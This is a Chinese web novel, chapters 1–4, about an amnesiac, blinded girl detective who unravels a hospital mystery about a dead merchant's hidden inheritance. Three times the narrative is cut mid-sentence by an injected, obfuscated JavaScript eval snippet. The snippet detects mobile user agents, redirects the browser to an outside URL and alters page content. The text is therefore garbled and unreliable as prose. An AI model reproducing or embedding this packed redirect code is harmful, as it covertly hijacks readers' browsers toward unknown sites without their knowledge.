《假扮我男友的人太多了》 1. 贾尼斯基基·序幕(一) 刺耳的通讯器声音响起,紧接着是一声轻叹:“这里有病人……” 脚步声、推门声,以及接起通讯器的问候声:“你好?” 在刺鼻的消毒水味中,女孩忍受着头痛,挣扎着睁开了眼,却只看见了一片漆黑。她伸手覆上眼睛,指尖触及的是纱布。 我的眼睛出了问题。她不需要思考也能得出这个结论。双手撑着自己坐起,在感受到嘴巴中的咸味时,她皱了皱鼻子。 哦,生理盐水。看样子我刚结束了一场手术。她顺着自己金色的长卷发向上摸到的除了纱布还是纱布。 “真希望他们能慷慨地给我注射些止痛药,而不是生理盐水。”少女的左手摸向右手的手背,在轻轻摸索后,她食指按住穿刺点,拇指和中指一同用力将针头拔了出来。 老实地待在床上按着手背,少女皱起了眉。她发现自己除了一些必要的常识和杂乱的知识外竟然对自己一无所知。 “好吧,至少我能判断我是个女孩。这是个好消息。”她自嘲地笑笑。 当她静坐时,病房外的声音格外清晰。 “是、是……啊,抱歉,这里没有怀特医生,或许您要找的是怀特护士,请问有什么事?” 哈,如果说声音能够穿透墙壁,那这所医院的墙可以说是透明的。女孩在冒出这一想法后,立马捕捉到新的线索:失忆前的我大概是个说话风趣幽默的人,哦,不过能够接受我“幽默比喻”的人大概不多。 “诶!”怀特小姐的声音突然拔高,然后压低声音说了些什么,少女并未捕捉到。她有自己的探索任务。 右手摸向床铺的右侧,木制的床头柜在她弯起食指敲击时发出来清脆的响声。沿着平面向上,她摸索到了柜面上的物品——一个包。 很好,起码有点收获。带着这样的想法,从包里摸出几样物品。 “一个徽章、一份证件还有一封信。”这些基本的信息还是能够获取的。不管是圆形徽章上的文字还是证件特有的凹凸印记,又或者是信封独特的封口方式——简单的推理。 除此之外,背包干干净净,连一枚铜币都摸不到。 天呐,我竟然是个穷鬼。少女被自己的贫穷惊吓,但她又想起了医院的治疗流程:“哦,真是人性化的医院。在患者昏迷不醒的时候还乐意动动自己的手指收取应得的报酬。” 细长的手指按上徽章,通过指尖的触感,少女在脑海中复现出上面的纹路:“齿轮、秤。” 齿轮有很多种意义,最出名的便是齿轮市,再往后则是齿轮大学、修缮钟表的钟表协会。但加上秤那就只代表一样——齿轮市警局。 齿轮低端的文字也证明她的猜想正确:齿轮市警察局特别案件办理处。 我是一名警察。少女或许可以自然而然得出这个结论,但显然:“我和齿轮市警察局有联系。”她的结论不同。 “没有警察证,也没有配枪。”她把玩着无法阅读的信件,“我想不会有警局会对一个体能不足的家伙特殊对待。”她没有锻炼痕迹的身体足以说明一切。而警察每日的训练清单足够让一个足不出户的人类在一个月内脱胎成跑完一千米也不会瘫倒在地的人。 身份证件上的暗纹只能判断出她确实是个齿轮市本地人。“希望我们米德戴人能够获得制作更加精致的身份证,而不是除了花纹外完全是印刷工艺的证件。” 鼻尖微微耸动,少女闻到了城市中不会有的玫瑰清香:“远离市区的小医院。”她为数不多的知识中并没有齿轮市的郊外有小型医院的记录。 但消毒水那能够刺痛她神经的味道和正规的包扎手法,甚至是那瓶她讨厌的生理盐水——都是一家合规的医院具备的水平。 少女的脚动了动,颤颤巍巍地走下了病床。她摊开双手以防自己撞上周围的物品。 向前走了两步,伸手向前挥了挥——什么也没有。她又迈了两步,指尖触到了窗户。 推开窗,她听见了楼下的小孩叽叽喳喳的声音:“嘿!那是我的铲子!” “小鬼,劝你别多管闲事!”一个年轻男人恶狠狠道,“给你三颗糖果,别让我在今天再看见你!” “哦,好吧。” 没过三分钟,年轻男人又怒道:“谁让你向护士告状的!” “护士姐姐,就是他抢走了我的铲子!” “嘿,这位先生,我想你不至于和一个孩子撒气。另外,请你在洗干净手上的泥土后乖乖回病房,不要再试图把花移植到你的盆栽里了,3202的护士告诉我你还没吃今天的药。” 有趣的对话。少女至少能够判断她现在所在的位置是家医院了。或许她现在并不在齿轮市。 有些困难地关上了窗户,少女转身、向前走了四步,但她并未回到病床,而是再次转身,只不过这次朝着右边,向前迈步。 一、二……五。跟着记忆中那位护士小姐的脚步声,她向左转,再次往前—— 膝盖撞及床面,幸好不是床柱。她摸摸膝盖,安慰它。 看来我和护士小姐的步长有些差距。她拒绝用腿长这个词来解释现在的情况。 又迈了三步,这次终于成功踏入空阔的区域。 按照估算的步数继续,她顺利地摸到门把手。 “……好的,我知道了,请放心。”护士小姐的语气郑重,“我会配合工作的,请告诉我地址。” 少女皱眉,迅速地拉开了病房的门,伸手探向声音处。 护士对她的突然出现很是惊慌:“阿莉雅小姐?您、您怎么在这?” 获取自己名字这一信息的阿莉雅没有回答,而是顺着护士小姐搀扶她的手腕、向上摸索到通讯器的位置。 在碰到那个方方正正的按钮后,她果断按下,挂断了护士小姐的通话。 “您这是在做什么!”护士小姐语气愤怒,“我正在进行重要的通讯!” “那是诈骗。”阿莉雅摊手,“你可以试试,在这里等三分钟会不会有回拨的通讯。” 沿着墙壁找到病房的门,少女回头补充道:“前提是那真的是重要通讯。” 她推开门,按照刚才的步数原路返回,重新回到了病床上。默数了三分钟后,怀特小姐推开门走了进来:“我还是不明白。” “当然,这很正常。”阿莉雅语气轻快,“通讯器的响声本来就尖锐刺耳,这是为了保证能够让通讯对象能够听见声音顺利通话。但是在需要安静的医院,这种声音就显得格外吵闹。如果我是院长,我就会想尽办法换成铃声更加柔和的新型通讯器,而不是需要挂在墙壁上、笨重的老式便宜货。” 怀特小姐发出短促的声音:“呃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145538|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “哦,抱歉,我并没有批评你们院长做法的意思。节省经费的做法大家都能够理解,只不过这样一来也会给诈骗犯机会。他们会利用人们被通讯器吵闹到烦躁的心情实行骗术。” “可他们指名说要找我?” “是啊,是啊,怀特小姐。米德戴联邦有大约百分之十的人姓氏都是怀特,还有百分之五的布莱克。每个医院都试一试,总会有中奖的机会。”” “但……” “让我想想,他们是和你说医院里发生了一起案件,还是有逃犯正在附近?” “他们说,有人匿名举报医院里有逃犯,希望我配合调查。”怀特小姐忍不住揉揉眉心,“天哪,我竟然相信了他们的话!像我们这样的小镇能有什么逃犯!我还天真地想要配合他们的调查行动,幻想自己可以成为一名帮助警察立功的英雄!” “别在意,怀特小姐。”阿莉雅直言,“虽然小镇不一定有逃犯,但肯定有让我受伤的犯人。” “哦,您还受着伤……嘿!您怎么可以拔掉输液!”怀特这才意识到眼前的问题,“您都做了些什么,拔掉输液、随意走动……天呐,我感觉我的脑袋在隐隐作痛。” 阿莉雅赞同:“我也觉得我的脑袋在剧烈作痛,或许我可以来瓶止痛药,而不是生理盐水。” 怀特简直想尖叫:“您怎么不早点说!”她急匆匆地推开门去配药。 “我忘记告诉她我想要一瓶牛奶了。”阿莉雅遗憾,“真希望她能在回来的路上帮我拿一瓶。” 事情并不会像阿莉雅期待的那样发展,护士小姐回来的时候还跟着一名医生。 医生对阿莉雅的行为痛斥:“科洛桑小姐,如果您希望自己得到镇痛剂,首要做的就是按响床头的呼叫器,然后、原地、不动、等待护士的到来。” “真是抱歉,我的眼睛看不见。” “哈,真是有趣,科洛桑小姐能在看不见的情况下到达走廊帮助我的护士逃离了一次诈骗,却无法好好地待在病床上按下按钮。” 阿莉雅自知理亏,干巴巴地补充:“或许你不想知道,但我丧失了记忆。” “哇哦,我还是第一次听说失忆的人也会忘记不能随便离开病床的道理。”医生顺着话讽刺,但紧接着他意识到问题:“你失忆了?” “是的,我现在只知道我是阿莉雅·科洛桑,家住在齿轮市,或许有在齿轮市警局工作的朋友或者家人。”她停顿了一下,然后开口,“如果你们愿意念身份证件和信封的内容给我听的话,或许我可以知道更多的信息。” “老天……”医生扶额,“看来是你头部的积血导致的。还有什么别的问题?” “啊,那么,请给我来杯牛奶?”阿莉雅心心念念着她的牛奶。 医生没有理会她的话,转而对怀特小姐叮嘱:“既然她住在齿轮市,那么你最好去联系她的家人帮她转院。我们这种小医院并没有治疗失忆的办法,齿轮市那边的医疗资源远比我们高。” “还有,别给她牛奶。”医生轻哼一声,从病房里离开。 阿莉雅遗憾:“作为一个失忆的病人,我连喝一杯牛奶的资格都没有。” 心软的怀特小姐悄悄说:“你可以期待晚饭。” 得逞的阿莉雅露出笑容:“我会期待的。” 2. 贾尼斯基基·序幕(二) 感谢止痛药,阿莉雅觉得自己的脑袋从未如此清爽——毕竟她失忆了,不好断言以前究竟有没有同样的时刻。 闭上眼睛,碎片式的记忆从脑海中闪过,唯一清晰而明亮的是一双漂亮的眼睛。眼睛的主人和她的关系看起来很是亲密。 “不算好的消息。”她张开嘴咬了一口夹着煎蛋火腿的三明治,“我似乎有个男朋友。” 费了点功夫才成功将牛奶偷渡进病房的怀特小姐打开瓶盖,插上吸管,送到阿莉雅的床头柜上:“为什么这么评价?我以为您会很高兴自己有个关系亲密的对象。” “对于大部分人来说或许是这样,但据我自己的观察,我并不是一个适合发展亲密关系的人。”阿莉雅冷静地把三明治伸出去,“麻烦来点番茄酱。” 晃动瓶身,挤了一个小小爱心在三明治上的怀特小姐偷笑了一下,但在目光触及到阿莉雅的脸上时笑容骤然消失。她听医生说了,这位聪明善良但有些毒舌的小姐恐怕会在黑暗无光的世界度过下半生。 “从一个合格的伴侣的角度来评价,我是一个性格糟糕、生活无法自理的人,即使有着聪明的头脑也无法掩盖身上的缺点。”阿莉雅啊呜一口咬空了,她停顿了一瞬,默默又用嘴唇测量着自己和三明治的距离。 怀特小姐反对:“我认为您的性格完全不应当用‘糟糕’这样的单词形容。” “好吧,我是一个性格恶劣的人,你觉得呢?” “呃……”怀特小姐确实无法反驳这点,即使只有短短半天的相处时间,她也完全能体会到这位小姐的性格恶劣之处。但她觉得这个恶劣绝对属于可爱的、有趣的范畴。 “哼哼。”明明是在叙说着自己的糟糕之处,但在对方完全无法反驳她时又会露出得意的、像只矜贵的猫咪高傲地巡视地盘的表情。“我可是十分有自知之明的,虽然我不会改正。” 如果知道自己的个性并不那么惹人喜爱的话也请麻烦改一改吧。怀特小姐在内心这么想着,但她又觉得,如果阿莉雅改正了这无伤大雅的小缺点就有些可惜了。没有这种小小的缺憾,阿莉雅·科洛桑大概就像是童年中遥不可及的精致洋娃娃一样,毫无生气与活力。 “那样反而应该高兴不是吗?”怀特小姐在阿莉雅试图喝牛奶时上前一步,将吸管送上前,“这意味着您有一个愿意接纳您那些微不足道的小缺点的伴侣。” 阿莉雅猛吸一口牛奶,有了香甜的牛奶润喉咙,她的分享欲愈发旺盛了:“你说得没错,怀特小姐。但这个世界上真的会存在做饭、洗碗、洗衣服,承担一切家务且任劳任怨的男人吗?” “这个……”怀特小姐也不得不承认,“不会有的。” “没错,就是这样。”阿莉雅点点头,“从我连握笔会留下的茧都不会有的手指就可以看出来,不管是过去的我还是未来的我都不会是个做家务的人。世界上又没有那样的男人,那么那位疑似男朋友的对象就变得非常可疑了。他一定是想从我这里得到什么。” 阿莉雅小姐真是十分擅长说话的艺术。怀特小姐摇摇头,这种仿佛中年男人才会说出的话竟然会从这位娇俏少女的口中说出,难怪连阿莉雅小姐自己都觉得自己性格糟糕。 “金钱,但我似乎是个穷鬼。权力,或许可行,毕竟我和齿轮市警察局似乎有些联系。智慧,哈,那我也不得不夸他一句聪明,竟然能找到天才般的我。”阿莉雅咕嘟咕嘟地喝光了牛奶,“嗯嗯,这样的话我也能够理解之前的我愿意留着他的理由了。免费的劳动力。” 怀特小姐对于这样一番自恋的话语并未表态,但她提出了另一种可能:“呃,或许你们只是单纯地相爱,而深爱着阿莉雅小姐的那位男朋友甘愿做家务?” “很好,怀特小姐。你已经掌握推理的关键之一了——是的,永远保持质疑,这样才能让我们的大脑一直处于活跃状态。”阿莉雅猛地拍手,“是啊,如果那是个女孩子就能说得通了。” “诶、诶?”怀特小姐完全跟不上阿莉雅跳脱的想法。 “那样就要重新审视我们的关系了……”金发的少女摸着下巴突然沉默。 怀特小姐收起了盘子和牛奶瓶,决定贴心地离开留给这位小小姐足够安静的思考空间。 “怀特小姐。”阿莉雅突然开口。 快走到门口的怀特小姐朝她看去:“还有什么事吗?” “如果说,之前的我是个感情骗子该怎么办?”阿莉雅双手抵住下巴,面色凝重,“我有百分之九十的把握可以确认我的性取向为男性。但是这样就无法解释会有个女孩儿愿意照顾我的情况了,那么只有我是个欺骗了对方感情的混蛋这一种解释了。” 所以已经到了宁愿质疑自己的人品,也不愿意相信自己会有个体贴的男友的程度了吗?怀特小姐叹了一口气:“阿莉雅小姐,你为什么不去考虑那唯一的可能呢?难道有一个真心相爱的男友对你来说是件无法接受的事情吗?” “哦,好吧。”阿莉雅像个被掏空棉花的玩偶,松趴趴地滩在病床上,“我确实无法接受这件事。这意味着对方将面对一个完全失去情感和相处经历的对象,还意味着他在习惯性亲密相处的时候直面我下意识的抵触行为,另外我还需要去考虑如果未来的我无法爱上对方,那要如何让他接受现实的难题。” “所以您是提前担忧对方的反应是吗?” “担忧对方?”阿莉雅忽然坐了起来,“我可没有需要担忧对方的道理。我只是担心自己惹上麻烦事。” 可你的表情更像是在担忧对方……好吧,阿莉雅小姐不会承认这件事的。怀特小姐对这位金发少女的认知更新了一条——是个傲娇,补充,是个偶尔坦诚的傲娇。 走廊上又有护士的声音扬起:“哦天呐,谁看见3202病房的病人了?他又逃跑了!” 怀特带上房门,三两步走近询问:“发生什么事了吗?” 年轻的护士捏了捏眉心:“新来的病人已经连续三天逃避吃药,并且坚持要将花园中的那棵野花移植到他房间的盆栽里!” 怀特宽慰了同事几句,将餐盘送进食堂后厨的洗碗池中,结束这一小小工作的她又想见见那位漂亮的小侦探了。 是的,小侦探。怀特私心这么叫着,她觉得阿莉雅小姐就像一位侦探,完全不输那位名响米德蒙联邦的德雷森侦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145539|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探。 推开3201病房的房门,阿莉雅的半截身子正悬挂在窗外。怀特发出尖锐的爆鸣,立刻冲上前抱住对方的下半身:“阿莉雅小姐,您在做什么!只不过是个恋爱对象罢了,您难道要自杀逃避吗!” “啊,怀特你来了,正好,我要找样东西,你注意不要让我掉下去就好。”阿莉雅悠悠哉哉地开口。 您都失明了,还找什么东西啊?怀特没把这句话说出口,她紧抱住阿莉雅的双腿,防止她真的从这三楼摔下去。 大约过了五分钟,怀特却觉得像一个世纪那样长,在阿莉雅摸索着支起身子后,她小心翼翼地把对方抱起转移到了病床上。 “看!”阿莉雅举起手中的东西,“这是什么!” “呃……一块砖头?”怀特眨巴着眼睛,那块厚实的仿佛能砸晕人的砖头看上去普普通通。 阿莉雅摊手:“嘿,怀特小姐,推理中最重要的不是事物的表面。再多想想。” “一块方方正正的砖头。”在阿莉雅没有任何表示的抱臂下,怀特又硬着头皮补充道,“一块能从墙上取出来的砖头……唔……或许它的后面能够隐藏什么?” 清脆的响指,阿莉雅将砖头翻转:“没错,一段留言。或许能够解开你最近的疑惑。” 我最近的疑惑明明都是阿莉雅小姐你带来的。怀特吐槽归吐槽,但还是认认真真念了出来:“敬启,我埃里克斯·戈顿将自己的财宝埋于此地,望有缘之人取出。” “就是这样。”阿莉雅叉着腰,一幅“你能明白的吧”的姿态。 “……所以是什么意思?”怀特不解,请求解释。 阿莉雅倒在床上,对怀特的回答非常不满:“你明明知道的。” 不,我完全不知道,就算是推理也要讲究基本法吧,什么线索都没有怎么推理。怀特语气诚恳:“我真的不明白,请伟大的、聪明的、善良的、美丽的阿莉雅·科洛桑小姐为我解答疑惑吧。” 每多加一个夸赞的形容词,阿莉雅就将背挺得更直:“唉,真是没办法啊,那我就好心地解答你的疑惑吧。” 她指着走廊的方向说:“现在,去询问你之前出门时遇到的那位护士,关于3202号病房的相关信息。了解清楚后,去趟花园,到我这扇窗户的下方。” 怀特隐隐约约猜到了什么,但她无法确认自己的答案是否正确。当然,或许只要开口向阿莉雅请求就能够核对自己的答案。可她也并非任何事情都需要别人将答案送到耳边,亲眼见证自己的答案更对她的胃口。 “简直就像侦探一样。”怀特感叹着出门。 阿莉雅皱起脸:“侦探……唔,我现在又多了一项可以确定的信息。那就是,我非常讨厌侦探这个词。” 她摸索着砖头上的刻痕,在脑海中重新描摹、绘制,完成的那刻将其对比着其他的内容,很快就得出了一个新的结论。 “嗯、嗯嗯。”阿莉雅自顾自地点着头,“看来这个世界上并非所有事情都能像泡一杯红茶那样简单。” 她又对着窗外叹气:“唉,也不是所有人都能记住自己刚刚写下的东西啊……怀特小姐……” 3. 贾尼斯基基·序幕(完) “你说3202号病房的那个人?”怀特的同事眉头紧皱,“他啊,上周突然来这里要求住院治疗。” “是自己要求住院的?具体是哪里不舒服?” “因为当时他来到这里身体没有任何不适,所以我们就以不要浪费医疗资源的理由把他赶走了。不过没过两天他就一瘸一拐地要求住院治疗,医生本来想拒绝他的住院请求的,但是院长说不管他是出于什么目的来到这里,只要身份是病人,医院就应该好好治疗。最后还是给他分了一间病房。” “哈……”怀特越发觉得这位病人的行为可疑,她继续追问,“那么,这位病人在日常生活中是否有异常的行为呢?比如总是不吃药之类的?” 想起这位病人的种种行为,护士有一肚子的苦水想要倾诉:“我想那可能不是异常行为,而是在找医院的麻烦。” “因为病房不符合他的心意,就天天按铃。我刚帮他调整好吊瓶的位置,才出病房几分钟,铃声就再次响起。进到病房后,他又是提出太阳刺眼让我拉上窗帘,又说空气不流通想要打开窗户,还指着被风吹起的窗帘说根本无法遮挡阳光。” “我真是受够了,拼命拜托院长想办法把那位病人转到了他想要的三楼病房里,这样的折磨总算停止了。” “天……他比我姐姐的上司还会折磨人!”怀特小姐十分共情,“但为什么说是‘转到他想要的三楼病房’?所以是没能转进他想要的病房里吗?” 提到这件事护士也很无奈:“他说在住院前找了有名的占卜师,用塔罗牌算出3201病房对他接下来的生意有运势加成。” 3201……怀特心里一紧。那不就是阿莉雅小姐现在住的房间吗? “我记得,我那间病房的病人是昨天才住进去的。也就是说在那位小姐前还有病人住在3201才没能让3202的病人住进去吗?” 怀特先前主要负责在二层的病房值班,对三层病房发生的事情了解并不多。 “是啊,我记得就在昨天上午的时候那位病人出院了。”护士点头,“然后你就在医院门口捡到了那位漂亮的姑娘,哦,她的金发真的很迷人。” “哈哈哈……”怀特干笑几声,“那么,3201先前的病人是哪位?” 用八卦作为无聊日常中的调味料正对护士的胃口,她顿时换了一幅神秘兮兮的表情,压低嗓音:“说到这个,你知道吗?就在我们镇子的不远处有个豪宅,那家的主人也就是上个月还住在我们这的一位富商,前几天去世了。” 富商,是那位埃里克斯·戈登吗?怀特压下心中的猜想附和:“天呐,真是不幸。” “说不定对他来说是件好事呢。”护士摊手,“他的病情几乎无药可医,不然怎么会住在我们这种小医院等死呢。” “靠着几乎无用的止痛药和安眠药才能勉强入睡,死亡或许是种解脱也说不定。” “那他怎么会突然出院。既然是富商,那肯定也不会心疼这些医疗费,还是说他放弃治疗了?” “很遗憾,关于这件事我也不清楚原因。不过他的大儿子真的是位非常帅气的人呢!为人也很好,几个人中只有他最经常来看那位先生。”护士小姐歪着头又补充,“说起来,我之前一直觉得3202的病人眼熟,现在回想起来,他也是常常来看那位富商的人之一。” “诶——”怀特适时给出反应,提供了相当多的情绪。 “叮铃铃——”呼叫铃响,护士小姐不得不离开去工作了,她不舍地从软椅上站起,同怀特道别。 微笑着挥手同人再见,转身,怀特却一脸严肃。 整理下情报吧,怀特慢慢将线索归类,现在已知的信息有: 1.3201先前住着一名富商,疑似埃里克斯·戈登。 2.3202的病人举止奇怪,强烈要求入住3201病房。 3.阿莉雅小姐找到的那块砖上刻着埃里克斯·戈登的名字,似乎留下了遗产在医院内。 4.3202的病人曾多次试图移植花园中的花 …… 怀特猛然起身,她知道了!和她先前的猜想一致!那位病人觊觎富商的遗产,所以屡次提出入住3201病房。 想起阿莉雅让她在了解完情报后去花园,怀特匆忙走下楼梯。 “好慢啊——”少女拉长了声音,尾音黏黏糊糊如同蜂蜜。 阿莉雅晃着腿坐在长椅上,露出的手肘和膝盖平添了几块青紫。怀特见她人在此,也顾不得去验证自己的推理,着急蹲下查看她的情况:“您是怎么自己下楼的?身上的伤是怎么造成的?” “不过是下楼梯而已,还没有泡红茶的难度高。”阿莉雅摆摆手,“受伤也只是我的小小误判,不是大问题。” 阿莉雅是不会告诉怀特,她下楼梯的时候一脚踩空从楼梯上滚下去的。也不会提起有好心人帮忙扶了她一把,将她送到了这个长椅上。 “比起这些小事,还是快来说说你的分析吧。”阿莉雅抱臂摆起了老师的架子,“作为老师,我会给你的推理打分。” 虽然只有短短一天的接触,但怀特也已经摸清阿莉雅的习性……啊不,是个性。如果是她不想说的事情,谁也不可能从她嘴里问出答案。以及,最好听取她的建议。 “呼——”怀特深深吸气吐气,“说结论吧,我认为3202病房的人是为了获取埃里克斯·戈登的遗产所以才来到了这家医院。他绞尽脑汁就是为了入住3201病房。挖取花园的植物也是为了寻找埋藏在医院中的遗产。” “嗯……”阿莉雅的表情难辨,“只有这些吗?” “诶?” “你的推理只有这些吗?”阿莉雅反而比怀特更加不可思议,“我知道你的本事,不可能只有这点水平。” 不,我们今天才第一次见面吧……怀特无奈:“阿莉雅小姐,不是所有人都像您一样聪明。”所以也不要用您自己的水平去衡量他人。 “哼哼,那是当然。”阿莉雅先是得意地叉腰,认可了怀特的夸赞。之后又摸上怀特的脸,找准脸颊肉扯了扯:“笨——蛋——” 她松开手,摇头叹气:“怀特,你要知道,情报这种东西,不是只能靠聊天或者询问获取的。” “眼睛。”阿莉雅指着自己蒙着纱布的眼,“也是获取情报的渠道。” “呃,我不明白您的意思。请您表述得更简单点。” “五分。”张开五指,阿莉雅晃了晃手,“满分十分, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145540|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的推理只有五分。” “三个问题:3202的病人叫什么?为什么要入住3201?为什么要挖花园的花?” “第一个问题我确实不清楚,但后面两个我应该解答了才对?” “错误。”阿莉雅双手在胸前比叉,“那么请解答,3201和花园的关系是?” 无话可说的怀特挠挠头:“这个……” “真是没办法。”阿莉雅撩起头发,“还是得让老师我为你解答啊。” 阿莉雅小姐看上去很享受当老师的样子。怀特在心里默默想。 “拜伦·克里斯汀,这是他的名字。如果你仔细看病房前的名牌肯定能知道这个情报。” 但是,阿莉雅小姐又是怎么知道的呢?明明她的眼睛…… 仿佛看穿她的想法,阿莉雅晃了晃腿:“当然是他本人告诉我的。” “诶?您和他接触了?” “哼,我可是阻止他继续进行无用的行为了。在我告诉他要找的东西不在这里之后,”阿莉雅得意地哼哼,“那家伙就灰溜溜地离开了,肯定是害怕阿莉雅大人的智慧才逃走的!” 不,我觉得只是因为他发现您说的是事实,所以离开了。 “拜伦想要去3201病房确实是为了遗产的事情,只不过他一开始以为那东西藏在病房的某个角落。怀特,抬头。” 怀特乖乖抬起头。 “往上看能看见什么?” 怀特眯起眼睛:“三层的窗台下少了一块砖头。” “没错。我们现在所处的位置就是在3201病房的窗下,那位拜伦每日都来拜访的,也是这里。” “所以他是知道了砖头上的留言!”怀特惊讶。 “毕竟他的眼睛可是好得很。就算不是从外看见,某天溜进病房中到处搜查也总有机会接触到那段留言的。文字朝着外面,用手摸一摸也知道那里有字。至于那家伙不吃药……为了拖延病情多住几天而已。” “他把文字上的内容理解成在砖头的下方,也就是花园那个位置了吧。”怀特了然点头,“原来如此。” “就是这样,所以你的推理只有五分。” “以及,你对埃里克斯·戈登的印象难道只有砖头上的那段留言吗?”阿莉雅拍拍她的胳膊,“我知道一种训练记忆的方法,你想试试吗?” 怀特还是能听出阿莉雅是在拐弯抹角地说她记性不好的,她皱着鼻子苦苦回忆,终于从今天漫长的经历中挖掘出相关的内容:“啊!邀请函!” “没错没错,就是那段莫名其妙诗句‘眼睛记录风景;耳朵倾听命令;鼻子品味陈酿;嘴唇传递意志;双手闻名于世’的作者,埃里克斯·戈登。” “不不,”怀特连忙指正,“应该说是邀请您来我们镇上的邀请人才对,更重要的内容是关于他请您帮忙处理他的遗产问题不是吗?” 阿莉雅对此兴致缺缺:“这笔钱又不会到我的手上帮我解决转院的资金问题。” 怀特尴尬,她想起院长提起的转院申请。从小医院转到大医院可是需要一大笔手续费的。是阿莉雅小姐,至少是目前的阿莉雅小姐承担不起的价格。毕竟她的挎包仅剩不多的钱才刚好够她这几天的手术费和住院费。 4. 贾尼斯基基·第一幕 午后,轻柔的风吹过。 阿莉雅正懒洋洋地躺在病床上。 今天一早怀特小姐就过来帮她拆了蒙在眼上的纱布。虽然属于失明的状态,但也并非完全看不见。至少她还是能感受到透过窗户照射到她脸上的阳光的。 “已经超乎想象了。”阿莉雅双手捧着脸弯起了眼睛,“我本来以为自己这辈子都无法分清白天和黑夜的区别,而现在,我还能知道病房里开了灯。” 病人本人很乐观,甚至还能安慰怀特。 医生又给她的眼睛做了细致的检查:“我的医术不精,所以我没办法给你还能康复的肯定回答,但是齿轮市有位安德森医生,应该会有办法。” 对此,阿莉雅表示:“有联系到我的家人吗?” 怀特有些尴尬:“这个……不知道为什么,完全无法打通齿轮市警局的通讯……” “我知道了。”阿莉雅点点头就窝进了被子里,“午饭的时候见,各位。” 不知道是该夸她心大还是该说她没心没肺,医生捏着眉心说:“麦·怀特小姐,还是尽力联系她的家人吧。”就算再聪明,也不过是个17岁的小姑娘,一个人跑到陌生的小镇遭受袭击,失忆失明……这要是他的女儿,他肯定担心得都睡不着觉。 怀特点头应是,她再次借用了医院前台的通讯器按下号码。在通讯器传来机械的声音宣告通讯失败前,滴的一声,对面接通了电话。 “你好……这里是、齿轮市警局,有什么能够帮助您的……”对面传来了仿佛通宵三天还没能休息的声音。 “是的,这里是玫瑰镇的医院,我们这里接收了一位名为阿莉雅·科洛桑的病人” “科洛桑?”对面提高了音量,打断了怀特的话,“很抱歉,给您添了麻烦,希望没有影响您的工作进程。对于您的一系列损失请统计账单后发送到齿轮市警局的邮箱……”一串娴熟的道歉从话筒中传来。 怀特忍不住打断对方:“先生,阿莉雅小姐并没有添麻烦,我想说的是,她现在失忆并且失明了,希望您能联系她的家人帮忙完成转院的手续,我们镇上的医疗资源完全无法解决阿莉雅小姐身上的问题。” 话筒那边停顿了很久,之后换了一个人接听:“您好,我是谢德·道格,是阿莉雅的助手,请告知我具体情况以及地址。” 阿莉雅此刻感觉有些难熬,她不适地皱着鼻子:“所以,你们的意思是,要接我回家?” “是的,小、小阿莉雅。”清澈的声音响起,他给阿莉雅倒了杯水送进她的手中,“我是你的助手尤塞恩。” 手指摩擦,阿莉雅双手握着玻璃杯,垂着头沉思。 病房中的五人见她不说话,互相看了看对方的神色。 许久后,阿莉雅才慢悠悠地开口:“所以,站在病房中的五位,哪位是我的男朋友?” “既然知道我住院了,那么你们中肯定有一个是我的男朋友吧。” 面对阿莉雅的疑问,几人交换着眼色,最后推出一个看上去和阿莉雅年纪差不多大的男孩上前:“……是我,戈伦。” 扑面而来的是清甜的果香,混合着微苦的气息。 阿莉雅叹气:“唉……真是搞不明白。我只是失忆且失明,又不是失智,为什么会觉得我会相信你们这群笨蛋说的话呢?” “伪装助手,但是手上一点茧也没有。还有,按照正常的逻辑来看,在我问出谁是男友的时候,犹豫半天才开口的人不管是不是正品,都已经淘汰了。”阿莉雅摇摇头,“真的会有助手在明知老板的男友在场还殷勤送水吗?如果是有其他心思,那也应该当场认下男友的身份,随便编两句谎话,比如是地下恋情或者说自己是第三者这类的……” “即使这些全都抛开不谈,刚刚那位一进来就介绍自己的先生,我记得昨天就是您扶着我去花园的吧?虽然有刻意压低嗓音,但您每句话的尾音很有个人特色呢。” 为首的男人无奈:“果然还是没能瞒过您啊,阿莉雅小姐。” “如果我没猜错,你们几位应当是埃里克斯·戈登的儿子吧。是为了父亲的遗产来找我的?”阿莉雅兴致缺缺,“很遗憾,我对此一无所知。” “不、不是这样的!”站在角落的少年开口,“父亲他突然去世,镇上的警察都说他是意外死亡,但……” “纳达夫!”沉稳的声音制止少年继续说下去,“抱歉,阿莉雅小姐,纳达夫年纪还小,不太懂事。我们来到这里并非是来向您请求帮助,昨天大哥他在医院里见到您后认为应当帮助父亲的笔友获得更好的治疗。” 